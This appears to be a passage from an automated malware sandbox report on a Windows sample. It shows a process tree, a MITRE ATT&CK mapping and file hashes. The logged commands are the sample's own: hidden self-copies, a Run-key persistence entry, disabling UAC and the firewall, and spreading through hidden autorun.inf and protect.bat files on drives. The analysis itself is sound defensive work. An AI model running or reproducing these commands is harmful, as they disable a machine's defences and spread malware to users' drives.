    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%appdata%\advant.exe"
      4⤵
      PID:3748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\advant.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2972
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "%appdata%\advant.exe" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3360
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\advant.exe" /f
        5⤵
        Adds Run key to start application
        
        PID:3500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\pcclean.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3036
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Windows\system32\pcclean.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%windir%\system32\pcclean.exe"
      4⤵
      Drops file in System32 directory
      PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\pcclean.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Windows\system32\pcclean.exe"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:4488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
      4⤵
      PID:4608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4396
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
        5⤵
        Views/modifies file attributes
        
        PID:2404
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:3088
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\rawcircle.scr" /f
      4⤵
      PID:1808
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" /f
        5⤵
        
        PID:3276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:2360
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
        5⤵
        
        PID:2848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:4364
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
        5⤵
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c NET START seclogon
      4⤵
      PID:1868
    - - C:\Windows\SysWOW64\net.exe
        
        NET START seclogon
        5⤵
        
        PID:4088
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        6⤵
        
        PID:3164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:4060
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
        5⤵
        
        PID:4368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:3772
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
        5⤵
        
        PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:5004
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        
        PID:5084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
      4⤵
      PID:1800
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config upnphost start= auto
        5⤵
        Launches sc.exe
        
        PID:4600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
      4⤵
      PID:4572
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SSDPSRV start= auto
        5⤵
        Launches sc.exe
        
        PID:2972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
      4⤵
      PID:1884
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config browser start= auto
        5⤵
        Launches sc.exe
        
        PID:3280
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start upnphost
      4⤵
      PID:1660
    - - C:\Windows\SysWOW64\net.exe
        
        net start upnphost
        5⤵
        
        PID:3968
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        6⤵
        
        PID:3668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
      4⤵
      PID:2652
    - - C:\Windows\SysWOW64\net.exe
        
        net start SSDPSRV
        5⤵
        
        PID:680
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        6⤵
        
        PID:2708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start browser
      4⤵
      PID:3488
    - - C:\Windows\SysWOW64\net.exe
        
        net start browser
        5⤵
        
        PID:2172
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        6⤵
        
        PID:5092
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:1648
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:1412
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        Modifies firewall policy service
        
        PID:3672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:4484
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:4988
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:2348
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2464
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      PID:1672
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:4524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      PID:2400
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:64
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      PID:3360
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:4044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      PID:4568
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:1060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      PID:2296
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      PID:4816
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
        5⤵
        
        PID:4844
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      PID:2364
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
        5⤵
        
        PID:412
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      PID:3588
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:1120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
      4⤵
      PID:748
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:1088
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe"
      4⤵
      PID:3040
  - - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
      "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
      4⤵
      Loads dropped DLL
      Adds Run key to start application
      Drops desktop.ini file(s)
      Enumerates connected drives
      Drops autorun.inf file
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      PID:3396
    - - C:\Windows\SysWOW64\unregmp2.exe
        
        "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
        5⤵
        
        PID:1708
      - C:\Windows\system32\unregmp2.exe
        
        "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
        6⤵
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:2648
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
        5⤵
        
        PID:944
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
        5⤵
        
        PID:5372
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "C:\autorun.inf"
        6⤵
        Sets file to hidden
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:5496
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
        5⤵
        
        PID:5380
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "F:\autorun.inf"
        6⤵
        Sets file to hidden
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:5700
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
        5⤵
        
        PID:5864
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H "F:\protect.bat"
        6⤵
        Views/modifies file attributes
        
        PID:6088
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
        5⤵
        
        PID:5872
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H "C:\protect.bat"
        6⤵
        Views/modifies file attributes
        
        PID:6096
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:2464
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Views/modifies file attributes
        
        PID:3172
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:4424
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Views/modifies file attributes
        
        PID:5268
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
        5⤵
        
        PID:5140
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
        5⤵
        
        PID:5132
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:5552
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5624
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:5496
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5672
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
        5⤵
        
        PID:5788
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "C:\protect.bat"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5872
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
        5⤵
        
        PID:5660
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "F:\protect.bat"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:6124
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:1376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:3604
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
    3⤵
    PID:5556
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
    3⤵
    PID:5564
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:5800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
    3⤵
    PID:5936
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "F:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:5040
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
    3⤵
    PID:5960
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "C:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:4860
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:4896
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:5220
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:3984
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:5168
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
    3⤵
    PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
    3⤵
    PID:4188
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:5640
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5840
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:5380
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5696
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
    3⤵
    PID:5924
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:3620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
    3⤵
    PID:3288
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5992
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
  2⤵
  PID:4232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
  2⤵
  PID:5584
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "F:\autorun.inf"
    3⤵
    - Sets file to hidden
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:5808
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
  2⤵
  PID:5632
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "C:\autorun.inf"
    3⤵
    - Sets file to hidden
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:5828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
  2⤵
  PID:5972
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "C:\protect.bat"
    3⤵
    - Views/modifies file attributes
    PID:4776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
  2⤵
  PID:5988
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "F:\protect.bat"
    3⤵
    - Views/modifies file attributes
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:3428
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Views/modifies file attributes
    PID:5188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:4136
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Views/modifies file attributes
    PID:5180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
  2⤵
  PID:1724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
  2⤵
  PID:3836
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:5716
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:5628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:5720
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:5728
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
  2⤵
  PID:5888
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "C:\protect.bat"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:6136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
  2⤵
  PID:5880
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "F:\protect.bat"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:4644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Filesize
256KB

MD5
adbd8353954edbe5e0620c5bdcad4363

SHA1
aeb5c03e8c1b8bc5d55683ea113e6ce1be7ac6e6

SHA256
64eff10c4e866930d32d4d82cc88ec0e6f851ac49164122cae1b27eb3c9d9d55

SHA512
87bf4a2dc4dd5c833d96f3f5cb0b607796414ffee36d5c167a75644bcbb02ab5159aa4aa093ed43abe290481abc01944885c68b1755d9b2c4c583fcccd041fd2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Filesize
1024KB

MD5
1906dfe77280bbd525e2391db0f09087

SHA1
cc29ec2e63c536bb97151e59c5b1bb4c0ac7009b

SHA256
